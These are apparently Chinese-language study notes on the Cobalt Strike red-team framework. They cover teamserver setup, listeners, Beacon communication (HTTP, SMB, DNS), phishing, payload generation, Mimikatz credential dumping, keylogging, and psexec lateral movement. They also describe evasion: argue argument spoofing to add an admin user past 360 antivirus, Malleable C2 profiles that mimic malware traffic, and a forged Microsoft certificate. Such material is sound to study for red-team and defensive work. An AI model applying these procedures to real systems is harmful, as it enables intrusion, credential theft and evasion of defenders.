功能集架构
credentials
logonpasswords 在view——>credentials里可以看到抓取到的账号密码
Port Scan
portscan 169.254.95.0-169.254.95.255 1-1024,3389,5000-6000 arp/icmp 1024
Intrumentation & Telemetry 「终端行为采集 Agent & 云端行为分析引擎」
Instrumentation
指的应该是安装在目标主机上的各类日志收集与监控类工具
Telemetry
指的应该是将这些监控类工具所产出的各位监测日志进行归一化、汇聚到一个统一分析引擎并等待引擎的研判结果这类的过程。
一场深思熟虑的对目标的攻击始于
侦查。
信息收集模块System Profiler
是一个 web 应用
用于客户端的攻击面。从侦查流程中收集的信息会帮助你分析以及做出最好的选择。
进行的信息收集主要已钓鱼为主,利用一个钓鱼网站,
当点击了之后会根据useragent等传输信息来判断一些基础的信息,记录点击者ip地址和目标。
Local URI不需要改动
Local Host写成服务器ip地址
Local Port可以更改,
Redirect URL是代表重定向到另一个网页,以便于更好地隐藏自己
这里可以查看配置过的 网址
查看日志
武器化。
将一个后渗透 payload 与一个文档或在目标上执行
此 payload 的漏洞利用相结合。
Cobalt Strike 提供将普通的文档转为武器化 Artifacts 的选项。
Cobalt Strike 还提供以多种形式导出后渗透payload、Beacon 的选项,可以结合此工件集以外的 artifacts 使用。
投递。
使用 Cobalt Strike 的网络钓鱼工具
武器化文档发送到目标网络中的一个或多个人。
Cobalt Strike 的网络钓鱼工具将保存的电子邮件重新用于像素级完美的钓鱼。
异步通信。
使用 Cobalt Strike 的 Beacon 来控制你的目标网络。
这个后渗透 payload 使用一种低频次且慢速的模式,高级威胁中的恶意软件常使用这种模式。
Beacon 会通过 DNS、HTTP 或 HTTPS等方式回连(团队服务器)。
Beacon 还可以经过常见的代理配置回连至多个主机来避免阻塞。
想要检验目标的攻击溯源分析能力,
可以使用 Beacon 的 C2 扩展语言功能。
此功能中,通过对Beacon 重新编程、让流量看上去像一些知名的恶意软件或者融入正常流量。
GitHub 开源 C2 拓展文件项目中的 crimeware 文件夹,就是通过配置 C2 拓展文件、
https://github.com/rsmudge/Malleable-C2-Profiles/tree/master/crimeware
让 Beacon 的流量特征看上去像Zeus、Asprox 等知名恶意软件。可以达到掩盖、伪装 Beacon 行动的目的。
Beacon 优越的自动化
基于命名管道和 TCP sockets 之上的对等通信模式可帮助攻击者进入受害者网络,
然后继续进行主机发现
抓取信任关系和证书、密码哈希、访问令牌和 Kerberos 票据等凭据进行横向移动。
user-exploitation工具
来展示有实际意义的业务风险。
Cobalt Strike 的工作流程使得在受害系统内部署键盘记录器或截屏工具非常简单。
使用 Browser Pivoting 去获取到受害目标Internet Explorer 上记录的网站的访问权限。
这个 Cobalt Strike 独有的技术在大多数站点都可以生效,并且可以绕过双因素验证。
报告功能
Cobalt Strike 的报告功能重建了 Cobalt Strike 客户端的参与度。
可以提供给网络管理员一个活动时间表,这样他们可以在他们的监控设备(比如一些流量监测系统)中发现攻击痕迹。
可以将 Cobalt Strike生成的高质量报告作为独立报告提交给客户或将其用作正式文档的附录。
贯穿上面的所有步骤,你需要去了解目标环境、目标防御情况,以及在资源有限的前提下选择最好的方
法来达成后渗透目标。
这个过程就是规避。
提供开箱即用的规避方案不是 Cobalt Strike 的目标。
Cobalt Strike 提供的是极大的灵活性,在配置和执行攻击行动的选项等方面都具有很大的灵活性,这使
得此软件适用于各种环境和目标。
Cabaltstrike3.13版本
3.13版本文件架构如下
│ Scripts 用户安装的插件
│ Log 每天的日志
│ c2lint 检查profile的错误异常
│ cobaltstrike
│ cobaltstrike.jar 客户端程序
│ icon.jpg LOGO
│ license.pdf 许可证文件
│ readme.txt
│ releasenotes.txt
│ teamserver 服务端程序
│ update
│ update.jar 更新程序
└─third-party 第三方工具,里面放的vnc dll
安装和更新
Strategic Cyber 责任有限公司发行了适用于 Windows、Linux 和 MacOS X 的 Cobalt Strike 软件包。
要安装 Cobalt Strike,只需将其存档解压到你的操作系统上。
Cobalt Strike 系统要求
java环境
Oracle Java 1.8,Oracle Java 11, 或 OpenJDK 11。
如果你的系统上装有防病毒产品,请确保在安装 Cobalt Strike 前将其禁用。
开启Cobaltstrike teamserver和运行GUI界面均需要Java环境。
运行「更新」程序
发行套件包含 Cobalt Strike 启动器、支持文件和更新程序。
不包含 Cobalt Strike 程序本身。你必须运行更新程序才能下载 Cobalt Strike 产品。
使用你的 license key 更新你的团队服务器和客户端软件这两个组件。
Cobalt Strike 按单个用户授权。团队服务器不需要单独的 license。
团队服务器与客户端
CS组件分为客户端(Client)与服务端(Teamserver)。
cobaltstrike.jar是客户端,teamserver是服务端
服务器组件,也就是团队服务器,是 Beacon payload 的控制器,
也是 社会工程功能的托管主机。
团队服务器还存储由 Cobalt Strike 收集的数据,并管理日志记录。
必须在受支持的 Linux 系统上运行。
服务端是一个,客户端可以有多个
团队可进行分布式协团操作。
可以让多个攻击者同时连接到团体服务器,共享信息。
要启动一个团队服务器,使用 Cobalt Strike Linux 安装包中的 teamserver 脚本文件。
当团队服务器启动,
它会发布团队服务器的 SSL 证书的 SHA256 hash。你需要给你的团队成员分发这个 hash。
当你的团队成员连接团队服务器时,在身份验证至团队服务器前、他们的 Cobalt Strike 客户端会询问他们是否承认这个 hash 。
这是抵御中间人攻击的重要保护措施。
Linux下启动teamserver和客户端
①cd切换到Cobaltstrike目录下
②执行命令 启动服务器端
chmod +x teamserver
运行 teamserver
./teamserver <host/teamserver_ip> <teamserver_password> [/path/to/c2.profile] [YYYY-MM-DD]
团队服务器的启动命令包含两个必填的参数和两个选填的参数。
第一个必选参数是团队服务器的外部可达 IP 地址。
Cobalt Strike 使用这个值作为它的功能使用的默认主机地址。
第二个必选参数是密码,你的团队成员将使用此密码从自己 Cobalt Strike 客户端登录认证连接至 Cobalt Strike 团队服务器。
第三个参数是选填的,这个参数指定一个「C2 拓展文件」
第四个参数也是选填的。
此参数以 YYYY-MM-DD 的日期格式指定结束日期。
团队服务器会将这个结束日期嵌入到它生成的每个 Beacon stage 中。
Beacon payload 在此日期后将拒绝运行,并且在此日期后
如果这个 Beacon payload 醒来也会自动结束(对应 Beacon 会话中的 exit 选项)。
③执行如下命令即可看到GUI界面
Javaw -Dfile.encoding=UTF-8
-javaagent:CobaltStrikeCN.jar
-XX:ParallelGCThreads=4 -XX:+AggressiveHeap
-XX:+UseParallelGC -jar cobaltstrike.jar
Windows下启动teamserver 和客户端
①下载keytool.exe并将其复制到Cobaltstrike文件夹下,链接:
http://www.onlinedown.net/soft/614989.htm
②切换到Cobaltstrike目录执行如下命令:
Keytool.exe
-keystore ./cobaltstrike.store
-storepass 123456
-keypass 123456
-genkey
-keyalg RSA
-alias cobaltstrike
-dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
③执行命令
./teamserver.bat 8.8.8.8 123456
8.8.8.8为你的服务器外网IP,123456为Coabltstrike的客户端密码。
这样,服务端的Cobalt Strike部署完成。
④双击cobaltstrike.bat,连接对话框填写服务器外网IP和teamserver密码,即可登入:
在 Host (主机)字段指定你的团队服务器的地址。
团队服务器 默认开启50050端口 ,用来给客户端连接使用,
没有必要修改这个默认端口。
除外还需要备用一个监听端口用来接收shell
部分vps做有安全策略,需要手动开启防火墙上的端口策略
User 字段填写你的昵称,当你进入团队服务器之后会显示此昵称。
可以将此字段更改为
你的外号、称呼或幻想的黑客名号(如 Snowden 斯诺登)。
Password 字段填写团队服务器的共享密码。
按下 Connect 按钮来连接到 Cobalt Strike 的团队服务器。
如果这是你第一次连接至此团队服务器
Cobalt Strike 会询问你是否承认这个团队服务器的 SHA256
hash。如果你承认,那么按 OK
然后 Cobalt Strike 的客户端就会连接到这个团队服务器。
CobaltStrike 也会在未来的连接中记住这个 SHA256 hash。
你可以通过
Cobalt Strike→ Preferences → Fingerprints 来管理这些团队服务器的 hash。
团队服务器 记住你的信息。
从连接对话框左手边选择一个团队服务器的profile(连接信息),
使用它的信息填充此连接对话框的字段。
你也可以通过 CobaltStrike → Preferences → Team Servers 来管理此列表。
登录成功后,可以看到如下界面,
主要有 cs基本设置、视图、攻击、报表等功能
分布式和团队行动
使用 Cobalt Strike 来协调红队的分散行动。
使用一个或更多的远程主机分阶段的筹划 Cobalt Strike 基
础设施。
启动团队服务器并让你的团队与其建立连接。
一旦连接至一个团队服务器,你的团队将:
使用相同的会话
分享主机、捕获的数据和下载的文件
通过一个共享的事件日志交流
Cobalt Strike 客户端可能会连接到多个团队服务器。
通过 Cobalt Strike → New Connection (新建
连接)来初始化一个新的连接。
当连接到多个团队服务器,一个切换条会出现在你 Cobalt Strike 窗口
的底部
「钓鱼」、「攻击」、「后渗透」、「长控(持久性)」。
这样的命名可以反映此团队服务器在一场红队行动中的作用。架构多台团队服务器,
分解整个攻击链,这是分布式行动模型的基本思想。
这个切换条允许你在活跃的 Cobalt Strike 团队服务器实例之间切换。
每一个团队服务器有它自己的按钮。
在一个按钮上点击右键、选择重命名来使这个按钮的名称能够反映这台团队服务器在你行动中的作用。
这个按钮名称也用于在 Cobalt Strike 活动报告中标识团队服务器。
当连接到多个团队服务器,
Cobalt Strike 会汇总所有它连接的团队服务器的监听器。
这种聚合允许你从一台团队服务器发送引用了托管在另一台团队服务器上恶意网站的钓鱼邮件。
在你行动的末期,Cobalt Strike 的报告功能会查询所有你连接到的团队服务器、合并这些数据来描述一个完整的事件。
攻击模块 生成木马
HTA木马文件、
office宏病毒文件、
各种语言版本的payload、
USB/CD利用自动播放运行的木马文件、
捆绑器、
可执行Payload-exe等
- 生成一个分阶段的可执行文件
- 有exe和dll格式的选择
- 添加一个监听器:
- 选择一种payload listener
- 设置端口
- 点击生成
客户端靶机上线
目标上线意味着我们已经可以执行目标服务器的系统命令,操作主机的信息收集、以及内网横向穿透。
用户接口
Cobalt Strike 用户接口分为两部分。
接口的顶部是会话或目标的视觉化展示。
接口的底部展示了每个你与之交互的 Cobalt Strike 功能或会话的标签页。
你可以点击这两部分之间的区域、按你的喜好重新调整这两个区域的大小。
工具条
Cobalt Strike 顶部的工具条提供访问 Cobalt Strike 常用功能的快捷方式。
熟悉此工具条按钮会提升你使用 Cobalt Strike 的效率。
会话和目标以图形可视化可视化展示
Cobalt Strike 有多种可视化展示,这些不同的设计是为了帮助你的行动中的不同部分。
你可以通过工具条或 Cobalt Strike → Visualization (可视化)菜单在不同的可视化形式之间切
换。
切换回来
右键点击目标,可以对它进行各种各样的攻击和手段
目标表
目标表展示了 Cobalt Strike 的数据模型中的目标。
此目标表展示了每个目标的 IP 地址,它的 NetBIOS名称,以及你或者你的团队成员给目标标记的一个备注。
每个目标最左侧的图标表示了它的操作系统。
带有闪电的红色图标表示此目标具有一个与之通信的 Cobalt Strike Beacon 会话。
点击表头字段( address )来排序主机。
高亮一行并右击来打开一个菜单,此菜单有针对这台主机的操作选项。
按住 Ctrl + Alt ,然后通过点击来选择和取消选择某台主机。
这个目标表对于横向移动和理解你的目标网络很有用。
用户驱动攻击
获取主机的桌面截图
屏幕截图
右键 --> Explore --> Screenshot 或者 beacon 中输入 Screenshot 截图
截图的查看在 View --> Screenshots 中查看
键盘记录
在 Process List 选项卡中,最底下一层有 Log Keystrokes 选项。其对具体的进程进行键盘的使用记录。
端口扫描
右键 --> Explore --> Port Scan。在跳出的界面中设置扫描的一些参数。
命令:portscan <ip 或者 ip 段(- 表示段)> <port 或者 port 段,具体的用逗号连接> <协议类型 arp|icmp > <最大线程数>
文件管理
右键 --> Explore --> File Browser 查看靶机的文件系统。可以增删改查。
Virtual Network Computing 远程 VNC
X86注入进程的desktop
case46,x86 desktopVNC远程桌面(注入进程),不建议用vnc
右键 --> Explore --> Desktop(VNC) 可以远程控制靶机电脑
http传输,速度非常慢,而且可能连不上
浏览器代理
右键 --> Explore --> Browser Pivot。选择一个靶机来进行浏览器代理。
成功后,在 beacon 框中有代理的 ip 地址和端口。
任务处理
beacon 中输入 jobs 可以查看目前运行了哪些在执行命令。
jobkill <JID> 终止一个任务。
插件加载-权限提升
Access-Elevate
插件脚本管理器
Ladon
探测多网卡主机
Ladon 10.10.168.100/24 MS17010
Ladon枚举远程主机网卡信息 OXID定位多网卡主机
Cobalt Strike 可通过它的 Aggressor Script 语言来为其编写脚本。
Aggressor Script 是 Armitage 的Cortana 脚本语言的精神继任者,虽然这两者并不兼容。
通过 Cobalt Strike → Script Manager 来对脚本进行管理。
github上面下载优质的cs插件Script,点击load上传本地的插件cna格式的脚本文件
在 Cobalt Strike 内有一个默认的脚本,定义了展示在 Cobalt Strike 控制台的所有弹出菜单和格式信息。
通过 Aggressor Script 引擎,你可以覆盖这些默认设置、根据你的偏好个性化设置 Cobalt Strike。
你也可以使用 Aggressor Script 来给 Cobalt Strike 的 Beacon 增加新的功能和使特定的任务自动化。
要了解更多关于 Aggressor Script 的知识,请查看此文档:
https://www.cobaltstrike.com/aggressor-script/
添加提权脚本
红色闪电包裹的主机 提权成功了。 显示了system权限
sleep 指令间隔时间
在 session 中,可以设置 beacon 的休眠期,其中的时间表示多少秒后 beacon 执行命令。
同时也可以在 beacon 中输入 sleep <秒数> 来设置休眠期。
命令执行
interact 互动 可以执行相应的命令来对主机进行各种操作,点击interact后,
输入help就可以看到cs自带的命令
getuid
net view
获取域控的信息:net dclist
探针当前网络架构
有域环境的话,显示的内容
有域控的话,显示结果就是域控DC的信息列表
Windows 自身命令 加 shell
目标信息总结表(自动记忆保存)
用mimikatz抓取主机上的密码信息
右键,Access->Run Mimikatz
获取到系统的账号密码,为进一步的横向移动做准备
运行Mimikatz 要先提权
(admin、system)权限才行,普通权限是执行不了Mimikatz的
凭证信息
视图(view)->凭证信息
账号和密码就会全部显示在表里
查看主机的文件和文件夹结构信息
Explore->File Browser就可以看到系统的所有文件
还可以上传文件,创建文件夹等各种操作
复制,下载,执行,删除
横向移动
前期的信息收集中,所有的主机信息(包括内网)都在目标Targets里
Jump。 列出各种横向的方法,比如psexec (一波横向抓域控和域内机器密码)等,还有扫描Scan等等。
psexec进行横向
选中psexec后,点击刚刚收集到的主机信息
(通过Mimikatz获取的账号与密码等,也可以自己尝试填)。
选择刚开始就创建好的监听器Listener和选择的主机Session,点击Launch发射
离DC越来越近,拿下域控,渗透结束。
argue参数污染
argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
execute net1 user test test123 /add
execute net1 localgroup administrators test /add
argue 进程参数欺骗
argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数
argue [command]
argue 命令 取消欺骗某个命令参数
利用这个也可以绕过360添加用户(非核晶模式非x86)比如:
argue net1 /hello /hello /hello /hello /hello
run net1 user admin 123451 /add
注:假参数需要比真命令强
https://blog.csdn.net/qq_44657899/article/details/118388706
https://wbglil.gitbook.io/cobalt-strike/cobalt-strikeji-ben-shi-yong
Listener(监听器)
Foreign Listeners (外部监听器)
foreign主要是提供给外部使用的一些监听器(可以理解为木马传输的管道),
比如想利用CS派生一个meterpreter或者armitage的shell回来,来继续后面的内网渗透,
这时就选择使用外部监听器。实现Cobaltstrike与MSF和Armitage的联动。
专门用于对其他对象身上发生的事件或状态改变进行监听和相应处理的对象,
当被监视的对象发生情况时,立即采取相应的行动。
在许多的渗透测试工具中,例如empire,metasploit,cobaltstrike中都有Listner的存在。
用来接收目标主机权限的模块。
创建/配置Listener的步骤:Cobaltstrike-->监听器
根据shellcode 的 Listener类型,
选择合适的传输协议(如HTTP、HTTPS、DNS、TCP、SMB等)
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_tcp/bind_tcp
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
连接到Cobalt Strike的监听器。
配置好这个listener名字、外网IP和端口(不能冲突)点击save即可保存
在以后生成Payload的过程中即可使用该监听器。
根据shellcode的配置,发送一些基本信息(如系统信息、用户名、进程ID等)给Cobalt Strike,
并接收一些指令(如加载插件、执行命令等)。
根据shellcode的功能,执行相应的操作(如创建反向Shell、注入VNC、上传下载文件等),
并将结果返回给Cobalt Strike。
Cobaltstrike3.13版本,其中内置了九个Listener。
Listener 可以看作为与 Beacon 相反的一种形式,
Beacon 负责命令执行,并将数据回传,
而 Listener 负责整合其他框架或会话。
总的来说,Beacon 属于对内监听器,Listener 属于对外监听器
常用于将 Cobalt Strike 与 Metasploit 框架(包括其他支持 MSF 框架的产品)进行整合,
最终实现信息整合与 Payload 分发等等功能
Pivot Listeners
(透视监听器)
Pivot Listeners 与对等 C2 的概念密不可分,
Pivot Listeners 支持绑定 Beacon 与 SSH 会话,
绑定后可以对他们进行反向连接,从而减少 C&C 框架中的连接数量
Beacon
Beacon的中文名为信标 为CS内置“窃听器”
Beacon 是 Cobalt Strike 运行在目标主机上的 Payload ,工作方式与Metasploit Framework Payload类似。
当我们在目标系统成功执行Payload以后,会弹回一个beacon的shell给CS服务器。
在隐蔽信道上为我们提供服务,用于长期控制受感染主机。
Beacon的功能包括以下几点:
使用HTTP或DNS检查是否有待执行任务
可连接到多个C2域名
能够在分段传输后自动迁移
可以配合各种方式(可执行文件、Word 文档、目标主机上的漏洞) 来传递 Beacon
Beacon 的安全特性
如果有人劫持了你的通信流量,并可以监听到你的Beacon向Team Server传回的数据
Beacon 的安全设计其实与 OPSEC 这一概念是密不可分的,
OPSEC 的全称是 Operations security,OPSEC 本质上就是在行动阶段就将对立方作为假想敌融入行动计划。
早期的远控没有考虑到被对立方发现、溯源的可能性,长期直连受控端,最终导致行动暴露
Beacon 技术最早实现应该是 2017 年泄露的 CIA 的蜂巢(Hive)计划,
里面的一项分支技术叫做蜂巢信标基础设施(Hive Beacon Infrastructure),感兴趣的可以看一下这个文件
https://wikileaks.org/vault7/document/hive-Operating_Environment/hive-Operating_Environment.pdf
列举几点 Beacon 的安全设计:
Beacon 有重放保护机制
Beacon 的任务请求和任务输出都是被加密的
使用团队服务器的公钥加密传输的元数据,只有团队服务器才能解密这些信息
Beacon stage 在连接时会验证Team Server
传输 Payload 到目标系统时,会验证团队服务器密钥,确保只接受来自团队服务器的任务
Beacon 设置睡眠(Sleep)和抖动(Jitter)时间,
Sleep 控制 Beacon 在再次请求前必须睡眠多长时间,
Jitter 会改变睡眠时间,从而显示出随机性
Beacon stagers 没有任何安全机制
Raphael在设计Cobalt Strike的时候已经充分的考虑到了它的安全性问题
当你启动Team Server并创建了Beacon Listener时,Team Server就会创建公钥对来保证后续传输过程的安全性。
我们以分段传输payload为例,详细讲解一下Cobalt Strike的安全特性。
生成 Beacon 负载的两种方式
stage 方式是指将 Beacon 负载分为两个阶段:
stager 和 stage。
stager 是一个很小的程序,用于连接到 cobalt strike 服务器,
下载 Beacon 负载(stage),并执行它。
stage 方式可以适应不同的攻击场景和大小限制。
stageless 方式是指将 Beacon 负载和其配置打包成一个自包含的文件,
不需要进行分阶段的加载。
stageless 方式可以避免分阶段加载过程中的风险和干扰,但也会增加负载的大小。
stager下载stage
公钥也会被一起发送:
stage准备check in
第一步就是要发送关于beacon session的元数据(Metadata)元数据中包含了用户、PID、电脑名称、IP地址等等基础信息,
同时元数据中也包括了Beacon stage创建的一个随机会话密钥。
为了保证安全性,Beacon stage会使用公钥加密元数据(含会话密钥),这意味着只有Team Server才能够解密该数据包。
从Team Server下载任务
团队服务器会使用会话密钥加密这些任务,Beacon stage也会使用会话密钥来解密任务列表。
返回任务结果
Beacon stage也会使用会话密钥对任务输出加密。
Beacon的工作原理
通过TeamServer生成了shellcode/beacon文件后,并在靶机上执行该文件,会产生以下行为:
会在 C2 上下载载荷执行, 即 Stage 过程,
Stageless 则省去了这一步.
会主动向我们提前设置好的 Listener 发送 有关 Beacon 的信息
如系统类型, 版本, 当前用户, 称之为 Metadata.
之后, Beacon 根据设置的睡眠时间进入睡眠状态,
攻击者通过TeamServer发现目标机器已上线
Team Server 控制器接收到请求后会检查是否有待执行的任务,
如果有
C2 就会响应发送 Metadata 的请求
将任务(异步或同步)下发到Beacon。
Beacon 将会收到有关 Task 的具体内容和唯一的 Task ID, 并依次执行任务.
执行完毕后, Beacon 将各 Task 回显的数据与对应的 Task ID 依次上传至 C2, 然后再次进入睡眠状态.
其中 Beacon 发送 Metadata 时一般使用 GET,
上传回显数据时使用 POST.
Beacon 的生成模式
Beacon的生成有两种模式
stage (有阶段)
Beacon会分段的加载shellcode
具体表现为,通过不断的向Listener发起请求,最终获取一个完整的shellcode并执行
stageless (无阶段)
生成时则包含完整的shellcode。
Beacon 的通信模式
Beacon 的通信分为以下两种:
异步式通信:
异步模式下通信频率低、速度慢,
Beacon 固定一段时间(由 Sleep 时间决定,可调整)向 Teamserver 发起通信,主动请求任务列表、接受本次命令并回传上次执行命令后的结果
然后进入SLEEP状态。
交互式通信(Sleep 0):
实时控制
由 Client 发出的指令通过 Teamserver(或再经过外部 C2)直接转发给 Beacon 并执行命令
Beacon 的分类
大致可以将 Beacon 分为以下四类:
- HTTP (S) Beacon
- SMB Beacon
- DNS Beacon
- TCP Beacon
HTTP Beacon 和 HTTPS Beacon
HTTP Beacon 与 HTTPS Beacon 的差别仅仅是在通信协议上的不同,
相比 HTTP Beacon ,HTTPS Beacon 多了 SSL/TLS 协议,可以保证数据传输中信息不被截取或发生中间人攻击等
传输层安全性协议(英语:Transport Layer Security,缩写:TLS)
前身称为安全套接层(英语:Secure Sockets Layer,缩写:SSL)是一种安全协议,
目的是为互联网通信提供安全及数据完整性保障,可以将 TLS 看作 SSL 的加强版本
Cobalt Strike 4.5 版本 HTTPS Beacon 使用的是 TLS v1.2
一般情况下,使用 Get 方式请求任务,使用 Post 方式回传数据,通信大致过程如下:
SMB Beacon
Windows 命名管道(Name Pipe)
在介绍 SMB Beacon 前
Windows 命名管道是我们必不可少的前置知识储备
因 Cobalt Strike 原生仅支持 Windows ,我们这里只介绍 Windows 的管道技术
命名管道,顾名思义,就像是数字世界中的孪生兄弟,与我们日常生活中看到的管道有着相似的概念。
一个管道具有两端,一段负责向管道写入数据,另一端负责从管道读取数据,
在 Windows 中存在两种管道,即命名管道和匿名管道,具体特性如下:
命名管道(Named Pipe):适用于持久性、跨进程、双向通信的场景
匿名管道(Anonymous Pipe):适用于临时、有亲缘关系的进程间的单向数据传递
亲缘关系:当一个进程(称为父进程)创建了另一个进程(称为子进程),这两个进程之间就存在亲缘关系,父进程创建子进程后,子进程通常会继承一些父进程的属性和环境
匿名管道由于其仅能在本地使用且只支持单向通信的特性,在像 Beacon 这样的应用场景中无法满足需求,
而命名管道的双向且持久的特性为 Beacon 类似的通信需求提供了合适的基础,
以上几点注定了 Cobalt Strike 会选择命名管道
SMB 协议
SMB 协议和 Windows 命名管道的关系可以类比成交通规则和交通路网,
Windows 命名管道相当于一条条点对点的公路,但是单有交通路网是无法进行交通运输的,
有了交通规则,即 SMB 协议才可以实现数据的传输
SMB 全称是 Server Message Block,该协议最初由微软开发,
用于在Windows系统中实现文件和打印机共享,后来被广泛用于其他操作系统和网络设备中,我们常用的内网目录共享有些就是通过 SMB 协议实现的
前提条件:
1.具有SMB Beacon的主机必须接受端口445上的连接。
2.只能链接由同一Cobalt Strike实例管理的Beacon。
SMB Beacon 使用命名管道并通过一个父 Beacon 进行通信,
需要连接到Parent Beacon使用,所有任务均从parent Beacon接收,并通过parent Beacon返回任务结果。
命名管道是Windows进程间通信机制,允许两者间通信、互相查看和操作对方的文件。
Cobalt Strike使用这种方式在进程与进程或主机与主机之间通信
管道通信的进程可以是本地主机上的两个进程,也可以和远程主机上的进程通过网络进行通信
SMB Beacon 一般在面对域渗透有机器不出网的场景使用率较高,
并且与 Cobalt Strike 中的生成 Payload 的操作是兼容的,
简单来说就是使用可以 SMB Beacon 来 Cobalt Strike 原生携带的工具执行各种攻击和渗透测试操作,而不会出现兼容性问题,
但某些需要分段传输 Payload 的功能如:
packages 模块、Web Driveby 模块需要用户进行额外操作
隐蔽点对点通信
(Beacon Covert Peer-to-Peer Communication)
使用 link [host] [pipe] 命令
可以使一个当前的正在控制的 Beacon 连接到等待连接的 SMB Beacon ,
连接后现有 Beacon 和 SMB Beacon 的操作将会同步
当机器 2 无法直接与 Teamserver 通信时,便可使用 SMB Beacon 来带出机器权限
注:
目标机器必须开启 445 端口才可使用 SMB Beacon
如果需要手动运行 SMB Beacon ,需要从一个父级 Beacon 连接到它,
并且这两个 Beacon 需要属于同一 Cobalt Strike 主体
一旦 Beacon 使用了这种连接方式,无法再使用 DNS 或 HTTP 协议进行通信
SMB Beacon 同一时间只能连接一个父 Beacon,
切换父 Beacon 的时候需要在原 Beacon 上先执行一次 unlink 操作
取消连接 SMB Beacon 时,它并不会使它消失,而是进入等待连接状态
作为 Payload 通信
(Beacon Peer as a Payload)
当攻击者想对已经植入 HTTP Beacon 主机提权时,
可以选择将 SMB Beacon 作为 Payload 进行派分和通信,当使用此种方法进行通信时,IP 后会存在 ∞∞ 字符
同时,进行提权后作为 Payload 通信的 SMB Beacon 也可以转为进行隐蔽点对点通信
实践可参考:https://www.youtube.com/watch?v=D9tMyRUKSPA
派生一个 SMB Beacon
spawn(x86)派生会话
原理是挂起方式启动rundll32并注入dll
接收到的数据
Createprocess()以挂起方式启动rundll32.exe
在 Listeners 中生成 SMB Beacon并保存
中已经上线的目标主机 -> 右键 -> spawn -> 选中Listeners ->choose
运行成功 external 可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon
主Beacon上 用link host链接它 或者unlink host断开它
链接SMB Beacon命令:link 192.168.23.130
Spawn介绍
beacon> help spawn
Use: spawn [x86|x64] [listener]
spawn [listener]
Spawn an x86 or x64 process and inject shellcode for the listener.
spawn 这个功能,中文意思是“产卵”,
功能就是可以派生出更多的Beacon 让一个团队分布式渗入。
通常我们在团队主服务器上给队友来派生Beacon 这样只要主服务器权限不掉,还能继续操作。
尽量派生出多个Beacon,让我们的操作都在子Beacon。
这里简单叙述下
如何操作从主服务器 派生到 其他队友服务器的过程:
队友服务器Listeners生成 > 团队服务器 Listeners生成 使用队友ip>Spawn
让队友的服务器生成监听
然后团队服务器生成server ip指向队友。
灵活的运用Spawn 不仅可以使团队效率提高,也能较好的维持权限,同时还能结合MSF。
参考链接:https://www.cnblogs.com/lalalaxiaoyuren/p/14117945.html
DNS Beacon
DNS 的查询方式
DNS 协议可以使用 UDP 或者 TCP 进行传输,
使用的端口号都为 53。
但大多数情况下 DNS 都使用 UDP 进行传输
迭代查询:
如果接收者 B 没有请求者 A 所需要的准确内容,
接收者 B 将告诉请求者 A,如何去获得这个内容,但是自己并不去发出请求,相当于从根域名开始查询直到找到目标域名
递归查询:
如果 A 请求 B,那么 B 作为请求的接收者一定要给 A 想要的答案
使用DNS来完成Beacon check in的工作,如果DNS返回的记录解析为有需要执行的任务,
那Beacon会使用HTTP来完成获取任务这一过程。
DNS Beacon 原理
DNS Beacon 同时利用了这两种查询方式,详细过程见下图:
其中第 1 步和 11 步属于递归查询,
而第 2 步至第 10 步属于迭代查询,
简单来说就是在层层迭代后,本地 DNS 服务器终于找到了目标域名对应的域名服务器,
而它找到的域名服务器实际上是 Cobalt Strike C2 服务器,最终再由本地 DNS 服务器返回信息给受控主机
数据传递方式
DNS Beacon 支持以下三种 DNS 记录通道传递beacon 和 task list:
A 记录(mode dns):A记录是最常见的DNS记录形式,一个A记录指向一个网站或域名的IP地址
AAAA 记录(mode dns6):AAAA记录是IPv6协议的一部分,这意味着它们被用来为互联网上的主机分配IPv6地址
TXT 记录(mode dns-txt):允许你以文本格式添加关于你的域名的额外信息,是 DNS Beacon 的默认传递方式
DNS Beacon 与 HTTP(S) Beacon 最大的区别是
心跳时不会主动回传被控端的数据,仅有一个最后通联时间返回,
使用 Beacon 控制台输入checkin可使心跳时返回数据,
但如果通过 DNS Beacon 对受控主机执行命令时则会自动执行checkin返回数据
注:
使用的所有域名必须要与 Cobalt Strike Teamserver 服务器绑定
Teamserver 服务器属于内网环境时,需要将公网 IP 的 53 端口映射到内网的 Teamserver 服务器
调试运行 C2lint
Cobalt Strike 默认给我们了 c2lint 用于检查配置文件的语法错误, 同时还能够预览配置后的 HTTP 请求与响应.
检查方法 使用c2lint检查编写的Profile文件是否符合CobaltStrike要求
./c2lint C2_Path
调用方法
通过 teamserver 命令的第三个参数指定配置文件.
./teamserver [Teamserver_IP] [Passwd] [C2_Path]
./teamserver 127.0.0.1 NowSec666 C2Profile/C2.profile
Malleable C2 Profile
配置示例
使用 Profile 文件修改Beacon内存特征
下载地址:https://github.com/xx0hcd/Malleable-C2-Profiles
在文件中找到如下代码,并按照下图和以下代码进行修改,其中的#号是注释的意思
chmod 777 c2lint
./c2lint template.profile
校验
修改HTTP流量特征 默认开启
消除流量特征 隐匿防溯源
虽然Cobalt Strike在渗透测试使用过程中非常的方便和强大,
但其默认的特征信息使得CS服务端也会很容易被态势感知等监测设备所识别到,
并且vps开启默认端口后也会被情报网站标记为攻击C2vps,
且如果teamserver密码简单也会被反爆破。
因此就需要对Cobalt Strike的流量、特征等进行隐匿。
红队常使用Malleable-C2-Profiles来修改c2配置实现应用层流量混淆
绕过部分安全设备监控,这里就以profile为界限将特征划分为基础特征和强特征
基础特征:使用默认配置时存在的特征,可通过修改profile文件或证书将其隐藏;
强特征:需要修改cobaltstrike源码才能较好去除的这部分特征。
默认配置文件的cobaltstrike交互过程进行了分析,流量中存在很多特征
基础特征
TeamServer默认启动端口50051
修改teamserver
vim teamserver
http请求 流量特征
http-beacon通信中
默认使用get方法向/dpixel、/__utm.gif、/pixel.gif /load 等地址发起请求
同时请求头存在cookie字段 值为base64编码后的数据。
生成新的SSL证书文件
要记住名字(xxxxxxxxx.store)和自己设置的key
一会还要用
这里伪造微软升级签名
